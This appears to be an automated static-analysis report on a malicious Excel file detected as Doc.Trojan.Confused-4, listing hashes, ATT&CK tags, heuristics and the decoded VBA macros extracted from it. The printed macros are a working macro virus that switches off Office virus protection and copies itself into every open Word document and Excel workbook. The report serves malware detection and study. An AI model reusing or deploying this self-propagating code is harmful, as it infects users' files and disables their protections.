Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25233db40cfaf457…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-05-29 15:39:01 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 18396d761abba91452ea07c4a66f1d6a SHA-1: 7a1edae6e50140b708b516d0862be8364af1b00a SHA-256: 25233db40cfaf4570b8622b8e5d1dfeaf317de713086a360c93f8e17dcd63fe2
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros. The macros are designed to copy themselves into other open Office documents using GetObject calls, indicating a self-propagation or spreading mechanism. The ClamAV detection and the presence of VBA macros strongly suggest malicious intent, likely for spreading.

Heuristics 3

  • ClamAV: Doc.Trojan.Confused-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Confused-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2438 bytes
SHA-256: 91b612361bb1e2f8a3e3ff3ecf6b8126032e357c53acd51ee2cda7e86613ebde
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused ][
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
Set α = VBProject.VBComponents("ThisDocument").CodeModule: λ = α.Lines(1, α.CountOfLines + 1)
Err.Clear: Set υ = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then υ.InsertLines υ.CountOfLines + 1, λ
For ι = 1 To Documents.Count
Set υ = Documents(ι).VBProject.VBComponents(α).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
υ.InsertLines υ.CountOfLines + 1, λ
End If: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
Set α = VBProject.VBComponents("ThisWorkbook").CodeModule: λ = α.Lines(1, α.CountOfLines + 1)
Err.Clear: Set υ = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then υ.InsertLines υ.CountOfLines + 1, λ
For ι = 1 To Workbooks.Count
Set υ = Workbooks(ι).VBProject.VBComponents(α).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
υ.InsertLines υ.CountOfLines + 1, λ
End If: Next
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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